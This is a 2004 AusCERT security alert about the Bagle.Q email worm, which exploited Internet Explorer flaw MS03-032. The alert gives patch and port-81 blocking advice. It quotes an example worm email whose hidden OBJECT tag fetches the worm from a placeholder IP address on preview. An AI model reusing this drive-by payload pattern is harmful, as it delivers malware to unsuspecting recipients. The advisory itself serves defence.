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AL-2004.07 -- New Bagle.Q Worm Spreading Rapidly |
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Date: 18 March 2004 Original URL: http://www.auscert.org.au/render.html?cid=2998&it=3957 Click here for PGP verifiable version -----BEGIN PGP SIGNED MESSAGE-----
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A U S C E R T A L E R T
AL-2004.07 -- AUSCERT ALERT
New Bagle.Q Worm Spreading Rapidly
18 March 2004
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AusCERT is aware of local activity by a new type of mass-mailing worm.
Dubbed Bagle.Q, this worm exploits a recent vulnerability in the Microsoft
Internet Explorer engine to allow infection without active user
intervention and without including the virus executable in the email
message. The worm has two stages of execution:
1. An email message is received with the following (example) body:
<html><body>
<font face="System">
<OBJECT STYLE="display:none" DATA="http://<IP address>:81/373273.php">
</OBJECT></body></html>
2. Upon preview within vulnerable mail applications (eg Microsoft
Outlook and Microsoft Outlook Express), the virus/worm body is
downloaded via HTTP from the IP address in the DATA field of the
HTML message.
Machines infected with the worm repeat the process, using the worm's
inbuilt SMTP engine to send the message to addresses harvested from various
files on the computer, and constructed with a DATA field containing either
the infected machine's IP address or one from a hard-coded list of IP
addresses in the worm itself.
The vulnerability exploited by this worm is Microsoft Security Bulletin
MS03-032 [2][3]. System administrators should apply the measures described
in that advisory to correct the vulnerability, either manually or by using
Windows Update. Anti-virus vendors will have updated signature files
available soon, and these should be applied as soon as possible.
It appears, so far, that the URL used to download the viral executable
consistently uses TCP port 81, so sites may wish to block that port
outbound as a stop-gap measure while more permanent measures are prepared.
However, as some legitimate web sites utilise this port, this measure
should be regarded as temporary only.
References:
[1] Protecting your computer from malicious code
http://www.auscert.org.au/3352
[2] Microsoft Security Bulletin MS03-032
http://www.microsoft.com/technet/security/bulletin/MS03-032.mspx
[3] AusCERT External Security Bulletin ESB-2003.0588
http://www.auscert.org.au/3371
[4] Sophos
http://www.sophos.com/virusinfo/analyses/w32bagleq.html
[5] Computer Associates
http://www3.ca.com/threatinfo/virusinfo/virus.aspx?id=38599
[6] McAfee
http://us.mcafee.com/virusInfo/default.asp?id=description&virus_k=101108
[7] Trend Micro
http://www.trendmicro.com/vinfo/virusencyclo/default5.asp?VName=PE_BAGLE.Q&VSect=T
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The AusCERT team has made every effort to ensure that the information
contained in this security bulletin is accurate at the time of publication.
However, the decision to follow or act on information or advice contained in
this security bulletin is the responsibility of each user or organisation, and
should be considered in accordance with your organisation\'s site policies and
procedures. AusCERT takes no responsibility for consequences which may arise
from following or acting on information or advice contained in this security
bulletin.
If you believe that your computer system has been compromised or attacked in
any way, we encourage you to let us know by completing the secure National IT
Incident Reporting Form at:
http://www.auscert.org.au/render.html?it=3192
AusCERT maintains a World Wide Web service which is found on:
http://www.auscert.org.au.
Internet Email: auscert@auscert.org.au
Facsimile: (07) 3365 7031
Telephone: (07) 3365 4417 (International: +61 7 3365 4417)
AusCERT personnel answer during Queensland business
hours which are GMT+10:00 (AEST). On call after hours
for member emergencies only.
Postal:
Australian Computer Emergency Response Team
The University of Queensland
Brisbane
Qld 4072
AUSTRALIA
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